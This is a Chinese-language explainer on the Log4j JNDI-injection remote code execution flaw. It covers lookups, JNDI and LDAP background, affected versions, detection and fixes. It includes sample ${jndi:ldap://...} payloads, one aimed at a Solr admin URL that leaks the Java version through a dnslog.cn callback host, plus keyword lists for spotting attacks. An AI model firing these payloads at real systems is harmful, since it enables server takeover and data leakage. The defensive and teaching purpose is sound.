Log4J RCE
首先log4j打印日志有四个级别:debug、info、warn、error;不管哪个方法打印日志,正常的log处理过程中,对 ${
这两个紧邻的字符做检测,一旦遇到类似报答是结构的字符串就会触发替换机制。一旦log字符串中检测到 ${}
,就会解析其中的字符串尝试使用 JDNI的 lookup()方法
查询,因此,只要能可攻至log阐述内容,就有机会实现漏洞利用。或者说服务器会记录用户输入的信息;这样log4j RCE都会被触发;
讲解loockup方法:
在log4j中可能需要引用一些外部资源、或者动态调用一些资源,通过lookups方法实现;它里面有docker lookup、Java loockup、Jndi loockup等等方法来调用资源(内置好的);通过Java loockup方法可以获取一些Java运行时(${java:runtime})、Java虚拟机(${java:vm})、操作系统的信息(${java:os})等等;我们攻击使用jndi loockup方法可以访问ldap、rmi服务来动态的获取一些资源;
当用户在登录的时候,服务器的后台使用logger.info("xxx" +user.getUsername())
来记录用户名,就存在Log4J注入漏洞;
**RMI(远程接口调用):使用RMI同样也可以实现JNDI注入。
http://127.0.0.1:8983/admin/cores?action=$ {jndi:ldap://${sys:java.version}.jkvl0r.dnslog.cn}
影响范围
- 使用了Log4j的组件,版本在2.x <= 2.14.1
- JDK版本小于8u191、7u201、6u211
序号 | 受影响项目 | 解决版本 |
---|---|---|
1 | Apache Archiva | 2.2.6 |
2 | Apache Calcite Avatice | 1.20.0 |
3 | Apache Druid | 0.22.1 |
4 | Apache EventMesh | |
5 | Apache Flink | |
6 | Apache Fortress | 2.07 |
7 | Apache Geode | 1.12.6,1.13.5,1.14.1 |
8 | Apache Hive | |
9 | Apache Jena | 4.3.1 |
10 | Apache JMeter | |
11 | Apache JSPWiki | |
12 | Apache Log4] 2.x | 2.16.0 |
13 | Apache OFBiz | 18.12.03 |
14 | Apache Ozone | 1.2.1 |
15 | Apache SkyWalking | 8.9.1 |
16 | Apache Solr | 8.11.1 |
17 | Apache Struts | |
18 | Apache TrafficControl |
排查方法
- pom文件中检查直接的依赖、间接的依赖。
- 可以通过检查日志中是否存在“jndi:ldap://” , “jdni:rmi” , "dnslog.cn"等字符发现攻击行为。
- 检查日志中是否存在相关堆栈报错,对战力是否有关JndiLookup、ldapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息
排查工具:
- https://static.threatbook.cn/tools/log4j-local-check.sh
- https://sca.seczone.cn/allScanner.zip
漏洞修复
- 禁止用户请求参数出现攻击关键字
- 禁止lookup下载远程文件按(命令引用)
- 禁止log4j的应用连接外网
- 禁止log4j使用lookup
- 从log4j jar包中删除lookup (log4j 2.10以下版本)
- 过滤相关的关键词,比如${jndi://*}
之前版本修复方案:
修复后的Log4J2在JndiLookup.class
中增加了许多限制:
- 默认
不再支持
二次转跳(也就是命名引用
)的方式获取对象。 - 只有在log4j2.allewdLdapClasses列表中指定call才能获取。
- 只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取
原理:
Log4j:JNDI注入导致的远程代码执行
Log for Java
是Apache的开源记录日志;是用来记录在开发、测试、生产环境中堆栈、类方法的调用信息;给Java记录日志;
Log for Java意义:
- 方便我们对程序的运行进行跟踪和调试(debug);
- 用于溯源、取证,错误排查;
使用方法
- pom引入log4j方法(Mybitas导包配置文件https://blog.youkuaiyun.com/RoueOB/article/details/101344533)
- 获得logger实例
- logger.info() debug() error() warry()
pom引入
获取logger实例
log4j的配置文件可以使用.xml
或sprintboot流行的.properties
来配置日志记录的行为;
LDAP
LDAP(Lightweight Directory Access Protocol 轻量级目录访问协议)
目录服务,目录数据库;适用于C/S架构;
端口:389和636
为解决,对多个服务系统使用同一个账号登录,存储信息、密码、数据等;我们就可以使用LDAP解决;
LDAP时JNDI众多可以调配的资源中的一个;
JNDI
JNDI(Java Naming and Directory Interface 命名服务目录接口)
JNDI通过使用自己内置的方法,根据名字找到位置、服务、信息、资源、对象等;
JNDI中常用的方法:
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象,根据检错名对象的地址,获取资源。 rebind(String name, Object obj)
将名称绑定到对象上,覆盖任何现有绑定。 unbind(String name)
取消绑定命名对象。 bind( ... )
发布服务(名字和资源的映射)`
JDBC(hibernate)
JDBC是一个规范,通过这个规范我们可以屏蔽不同数据库底层的差异
(JNDI和JDBC https://blog.youkuaiyun.com/luck_and_destiny/article/details/120315949)
可以简化我们对资源的访问;
JNDI Naming Reference 命名引用
- 在LDAP(LDAP数据库)里面可以存储一个外部的资源,叫做命名引用,对应Reference类。
比如使用HTTP服务远程调用一个.class类文件
- 如果JNDI客户端,在LDAP服务中找不到对应资源,就去指定的地址请求。如果是
命名引用
,会把这个文件下载到本地。 - 如果下载的
.calss
文件包含无参构造函数或静态方法块,加载的时候会自动执行。
JNDI注入原理、利用方式
- 攻击者在HTTP请求中传入
${jndi:ldap://xxx.xxx.com:xx/test}
(使用JNDI的服务访问一个不存在的数据);攻击者给JNDI的lookup()方法(JndiLookup.class)转入恶意参数,参数指定的是一个LDAP服务器不存在的资源。 - 受害者的Java应用程序访问我指定的LDAP的服务器中的路径,而我的LDAP服务器上并没有这个资源,受害者的Java应用程序就会从我LDAP的服务器指定的路径去下载一个代码文件 (Exploit.class),并执行
${jndi://ldap://x.x.x.x:xx/test}
*为什么Java应用程序会去我们上传的指定路径下载资源?
- lookup()方法:在Log4J的配置文件或项目代码中,我们可能需要引用一些外部资源,当需要以动态的方式加载一些资源的时候;
当我们传入一个JNDI的地址参数时,lookup()方法会去对应的地址获取相应的资源
,下载我们的恶意类。 - 解释:JDNI可以将LDAP目录服务、RMI远程方法调用、DNS、XNam、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS中任意的一个资源的数据,赋值给自己的配置文件。
所以当我们传入一个JNDI的地址参数时,lookup()方法会去对应的地址获取相应的资源
*下载的资源如何被自动执行?
- 在
NaningManager.java
的类中,调用了newInstence()的方法;Java应用程序下载的恶意类的实例就在这里被创建调用,代码被执行。
*验证漏洞被利用:使用Java中的Runtime.getRuntime().exec(“calc”)执行计算机中的命令;DNS解析记录;。